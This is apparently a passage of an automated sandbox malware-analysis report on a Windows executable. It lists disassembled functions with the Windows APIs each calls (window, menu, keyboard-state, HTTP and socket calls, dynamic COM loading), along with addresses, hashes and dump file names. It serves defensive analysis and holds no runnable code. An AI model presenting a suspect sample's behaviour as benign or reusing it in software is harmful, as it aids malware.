Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 2$P
API String ID: 93392585-1110268094
Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction ID: 8cb2bef919a6e9697c1087c2ebb5647d98f14d37df1ab46348050779fae161ba
Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction Fuzzy Hash: A7513436E086A299F720EF61E4422BDB7A5BB80758FA54175DA1E436D4CF3CE481B320

Function 00007FF73A27E248 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF73A27E32E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF73A25BDFB), ref: 00007FF73A27E346
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF73A25BDFB), ref: 00007FF73A27E360
SendMessageW.USER32 ref: 00007FF73A27E38D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF73A25BDFB), ref: 00007FF73A27E3B1
SetWindowPos.USER32 ref: 00007FF73A27E3F7

Strings

', xrefs: 00007FF73A27E3E2

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$LongMessageSend$Show
String ID: '
API String ID: 257662517-1997036262
Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction ID: 6e4328418e9f1fcf5a61980beea5e2fb7a3295a1b8d500f8efb3aea72d745906
Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction Fuzzy Hash: 6251193A90864295F360AB26A45667DB750FBC1B90FD84172DE5E43791CE3EEA42F330

Function 00007FF73A24AD94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1F8E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1F8E4F

LoadIconW.USER32 ref: 00007FF73A24AE50

Strings

question, xrefs: 00007FF73A24AE02
warning, xrefs: 00007FF73A24AE36
stop, xrefs: 00007FF73A24AE1C
info, xrefs: 00007FF73A24ADE8
blank, xrefs: 00007FF73A24ADC9

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: IconLoad_invalid_parameter_noinfo
String ID: blank$info$question$stop$warning
API String ID: 4060274358-404129466
Opcode ID: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
Instruction ID: 2ee5eead9733b58061be7b07badf9c4981b17986956d5679509dec1728499cd6
Opcode Fuzzy Hash: a20ad64d4c1f0ff606b53834bd72c3c9b388472799770000db1625183137431d
Instruction Fuzzy Hash: C0216D29F0C793A1FA50BB16A90317AE365AFC4790FC540B5DE1D43396DE7CE401B620

Function 00007FF73A28233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

GetSystemMetrics.USER32 ref: 00007FF73A2823A5
GetSystemMetrics.USER32 ref: 00007FF73A2823C4
MoveWindow.USER32 ref: 00007FF73A2825F9
SendMessageW.USER32 ref: 00007FF73A28261A
SendMessageW.USER32 ref: 00007FF73A28263E
ShowWindow.USER32 ref: 00007FF73A28265E
InvalidateRect.USER32(?,?,?,00000000,?,?,?,00007FF73A21AA58), ref: 00007FF73A28268B
DefDlgProcW.USER32(?,?,?,00000000,?,?,?,00007FF73A21AA58), ref: 00007FF73A2826B3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction ID: d2461295f700e8f13f931b95c932b077d0820efd8fbee06610dfbb0cbc14cacb
Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction Fuzzy Hash: 7FA1322AB1829392FB6CAF25D151739B7A8FBD4B44F405075EE1A83A90CF3CE850B710

Function 00007FF73A1F443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF73A1F44CD
ShowWindow.USER32 ref: 00007FF73A23A753
ShowWindow.USER32 ref: 00007FF73A23A7ED

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction ID: 0891c61fe367dd59240f22b53f3b70ca9c0e8b1280f25366906c77ca29190ae9
Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction Fuzzy Hash: 0451A33DE0D1C3A8F774BB29A44637DA7A59FD2B04F9841F1C60E426D9CE2DA484F220

Function 00007FF73A2790A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF73A2790D8
GetDC.USER32 ref: 00007FF73A2790E0
GetDeviceCaps.GDI32 ref: 00007FF73A2790F1
ReleaseDC.USER32 ref: 00007FF73A2790FE
CreateFontW.GDI32 ref: 00007FF73A279195
SendMessageW.USER32 ref: 00007FF73A2791AB
MoveWindow.USER32 ref: 00007FF73A2791F1
SendMessageW.USER32 ref: 00007FF73A279213

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction ID: 60f3f122074c851851ab249106654558050a67f676bf93f956b3b22ab8796411
Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction Fuzzy Hash: FC41DE3A6187818BE364DB22B405B6ABBA5F788BD1F548031EF8A43F14DF3DD4409B00

Function 00007FF73A210BBC Relevance: 10.8, APIs: 7, Instructions: 294COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A211001

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
Instruction ID: 3200f9c0dcbf999d15e64b4f2c1d4879819b2e06ea4d218032a94a9b4f452a5c
Opcode Fuzzy Hash: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
Instruction Fuzzy Hash: 38C1F46AA0C782A6FA60EF16980227DEB51FFC0B80F954175EA4E07395CF3DE441B761

Function 00007FF73A2509C4 Relevance: 10.7, APIs: 7, Instructions: 248COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32 ref: 00007FF73A250AAF
SafeArrayAccessData.OLEAUT32 ref: 00007FF73A250B05
SafeArrayAccessData.OLEAUT32 ref: 00007FF73A250BEC
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF73A250C13
SafeArrayAccessData.OLEAUT32 ref: 00007FF73A250C24
SafeArrayAccessData.OLEAUT32 ref: 00007FF73A250C92
SafeArrayAccessData.OLEAUT32 ref: 00007FF73A250D07

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
Instruction ID: 488fa39a10c7ae4ce31ba2dcc7e24e5f7620c4cacc7b0ae689f1364750c78f8a
Opcode Fuzzy Hash: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
Instruction Fuzzy Hash: EFA1BFAAA0C602A9FF14AB25C8863BCE761FB85B84F954471DA0D47295DF7CE480F360

Function 00007FF73A1D2100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction ID: 2bf9cca50fd12c34f9ee845f69b2f9d27303b5b4413ef76f5ecdcfdba06240d2
Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction Fuzzy Hash: DDA1AD76A0C6C097E7749F19A4016AEFB75FBC9B98F904125EA8913B68CB3CD442DF10

Function 00007FF73A27FB28 Relevance: 10.7, APIs: 7, Instructions: 212windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF73A27FBED
IsWindowEnabled.USER32 ref: 00007FF73A27FBFA
SendMessageW.USER32 ref: 00007FF73A27FD22
SendMessageW.USER32 ref: 00007FF73A27FE2A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSendWindow$Enabled
String ID:
API String ID: 3694350264-0
Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction ID: d283dfdce43186ccf3896165c7dbc039a0d488a72b55f9eaaca4e9950d83c3d5
Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction Fuzzy Hash: 6D91B139E0C64666FB74AB1580563B9A391AFC4780FD440B2CA6D03692CF2EE681F321

Function 00007FF73A249034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF73A249089
GetKeyboardState.USER32 ref: 00007FF73A24909D
SetKeyboardState.USER32 ref: 00007FF73A2490EC
PostMessageW.USER32 ref: 00007FF73A249122
PostMessageW.USER32 ref: 00007FF73A249147
PostMessageW.USER32 ref: 00007FF73A249190
PostMessageW.USER32 ref: 00007FF73A2491B9

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction ID: f284f737d7a1c559f5bacdb38ae3b45e6545d5823adc72d0c57273cb35e3b71e
Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction Fuzzy Hash: 9551B31AA0D2E165F7719B72510267DAF91FB86BC0F8890B4DE8917F46CE29E450F320

Function 00007FF73A248E18 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF73A248E69
GetKeyboardState.USER32 ref: 00007FF73A248E7D
SetKeyboardState.USER32 ref: 00007FF73A248ECC
PostMessageW.USER32 ref: 00007FF73A248EF9
PostMessageW.USER32 ref: 00007FF73A248F21
PostMessageW.USER32 ref: 00007FF73A248F6C
PostMessageW.USER32 ref: 00007FF73A248F98

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction ID: d3322550058d9a5e47eb9e05a78b8d3c11f20d4d078619e73d226d2191a20351
Opcode Fuzzy Hash: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction Fuzzy Hash: 3851A116A1C2E165F761A771510267DAFA1FBC6BC0FC980F4EE8907E46CA18E454B331

Function 00007FF73A25DBF0 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF73A25DC5F
HttpOpenRequestW.WININET ref: 00007FF73A25DCA9
InternetCloseHandle.WININET ref: 00007FF73A25DDC0

Part of subcall function 00007FF73A25EAB8: GetLastError.KERNEL32 ref: 00007FF73A25EAD4
Part of subcall function 00007FF73A25EAB8: SetEvent.KERNEL32 ref: 00007FF73A25EAE9

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
String ID:
API String ID: 3401586794-0
Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction ID: c9cb3a1eee00163c4363eaf3b4e27b542ec3a7821d30aa7c83528962655fff1e
Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction Fuzzy Hash: C051067B608781A6FB14EF21A8016AEF7A4FB89B88F944171DE0D03B54DF39D455EB10

Function 00007FF73A244860 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A23B748: CLSIDFromProgID.OLE32 ref: 00007FF73A23B771
Part of subcall function 00007FF73A23B748: ProgIDFromCLSID.OLE32 ref: 00007FF73A23B790
Part of subcall function 00007FF73A23B748: lstrcmpiW.KERNEL32 ref: 00007FF73A23B7A2
Part of subcall function 00007FF73A23B748: CoTaskMemFree.OLE32 ref: 00007FF73A23B7B4

IIDFromString.OLE32 ref: 00007FF73A2448EF
CoCreateInstance.OLE32 ref: 00007FF73A244931
SetErrorMode.KERNEL32 ref: 00007FF73A24496D
GetProcAddress.KERNEL32 ref: 00007FF73A244983
SetErrorMode.KERNEL32 ref: 00007FF73A244A15

Strings

DllGetClassObject, xrefs: 00007FF73A244973

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
String ID: DllGetClassObject
API String ID: 668425406-1075368562
Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction ID: 2dd1f6cdf07a10fe3c2a38587d10162a13a42bff88f98a8805b44940335bb8c9
Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction Fuzzy Hash: AE519D36A08B66A3FB18AF16E542379A360FB94784F948074DB4947A40DF7CF094F710

Function 00007FF73A279248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF73A27928B
GetWindowLongW.USER32 ref: 00007FF73A279313
SendMessageW.USER32 ref: 00007FF73A27935A
SendMessageW.USER32 ref: 00007FF73A279389
GetWindowLongW.USER32 ref: 00007FF73A2793A0
SetWindowLongPtrW.USER32(?,?,?,00007FF73A27DF83), ref: 00007FF73A2793C4

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: LongMessageSendWindow
String ID:
API String ID: 3360111000-0
Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction ID: 01e241839957166375ae3fdc4efc632f2950a9972aad7673de83a48a640d2b59
Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction Fuzzy Hash: C041822AB19A4591FB60EB1AE492679B360EBC4F94F944172CE1E43BA5CF3DE441F310

Function 00007FF73A2637A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A265E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF73A2637FB), ref: 00007FF73A265E4D

socket.WSOCK32 ref: 00007FF73A263827
WSAGetLastError.WSOCK32 ref: 00007FF73A263836

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction ID: cb6939d189dd8e1f801dbf6fdbe4e1872465267b3140584fa7846d1c171269ad
Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction Fuzzy Hash: 4A41D03AA0878296F720AF25A4456ADB360FB85BA4F844271DE5E47BA1CF3CD445E710

Function 00007FF73A27A884 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00007FF73A27A8D1
SetMenu.USER32 ref: 00007FF73A27A8E4
GetMenuItemInfoW.USER32 ref: 00007FF73A27A977
IsMenu.USER32 ref: 00007FF73A27A991
CreatePopupMenu.USER32 ref: 00007FF73A27A99B
InsertMenuItemW.USER32 ref: 00007FF73A27A9D1
DrawMenuBar.USER32 ref: 00007FF73A27A9DA

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID:
API String ID: 161812096-0
Opcode ID: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction ID: 95091ba4bce2b56c46a65d453012e5f7a721fdbf47c32d04624ecc8c2bffbccc
Opcode Fuzzy Hash: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
